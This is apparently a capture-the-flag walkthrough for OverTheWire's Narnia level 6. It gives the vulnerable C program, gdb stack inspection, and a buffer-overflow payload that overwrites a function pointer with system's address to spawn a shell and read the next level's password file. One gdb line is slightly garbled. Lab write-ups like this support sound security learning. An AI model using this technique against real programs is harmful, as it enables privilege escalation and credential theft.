Level 6
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
fp(b1);
exit(1);
}
At first glance this is a little more complex. The int (*fp)(char *)=(int(*)(char *))&puts, i; statement ends up doing two things - (1) creating a function pointer to puts, and also defining an integer i. The environ, and any extra args, are zero’ed out.
The & against fp excludes it from pointing to a particular address in memory (namely 0xff******). The call to fp(b1) looks like our ticket out of here but it’s been defined after b1 and b2.
Let’s see this through gdb.
narnia6@narnia:/narnia$ gdb -q narnia6
Reading symbols from narnia6...(no debugging symbols found)...done.
gfter the `strcpy`. Let'sdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048559 <+0>: push ebp
0x0804855a <+1>: mov ebp,esp
0x0804855c <+3>: push ebx
0x0804855d <+4>: and esp,0xfffffff0
0x08048560 <+7>: sub esp,0x30
0x08048563 <+10>: mov DWORD PTR [esp+0x28],0x80483f0
0x0804856b <+18>: cmp DWORD PTR [ebp+0x8],0x3
...
0x0804867f <+294>: mov DWORD PTR [esp],eax
0x08048682 <+297>: call 0x80483e0 <strcpy@plt>
0x08048687 <+302>: mov eax,DWORD PTR [esp+0x28]
0x0804868b <+306>: and eax,0xff000000
0x08048690 <+311>: mov ebx,eax
0x08048692 <+313>: call 0x804854d <get_sp>
...
(gdb) br *0x0804868b
Breakpoint 1 at 0x804868b
(gdb) x/bx 0x80483f0
0x80483f0 <puts@plt>: 0xff
break before the &, a see what the stack looks like then.
(gdb) r DDDDDDD fffffff
Starting program: /narnia/narnia6 DDDDDDD fffffff
Breakpoint 1, 0x0804868b in main ()
gdb) x/14wx $esp
0xffffd6d0: 0xffffd6e8 0xffffd8f5 0x00000021 0x08048712
0xffffd6e0: 0x00000003 0xffffd7a4 0x66666666 0x00666666
0xffffd6f0: 0x44444444 0x00444444 0x080483f0 0x00000003
0xffffd700: 0x080486c0 0xf7fcb000
That’s interesting - at 0xffffd6f8 is fp! Which we can therefore overwrite by overflowing b1.
The next question is what to overflow it with. We can’t add an address on the stack due to the & check. Now if we could get fp to point to something like system, we might be in business.
It turns out that by importing stdlib.h, we’re doing exactly that:
(gdb) break system
Breakpoint 3 at 0xf7e61e70
With this in mind we can craft our payload:
narnia6@narnia:/narnia$ ./narnia6 $(python -c 'print "/bin/sh;\x70\x1e\xe6\xf7 fffffff"')
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
*** password ***``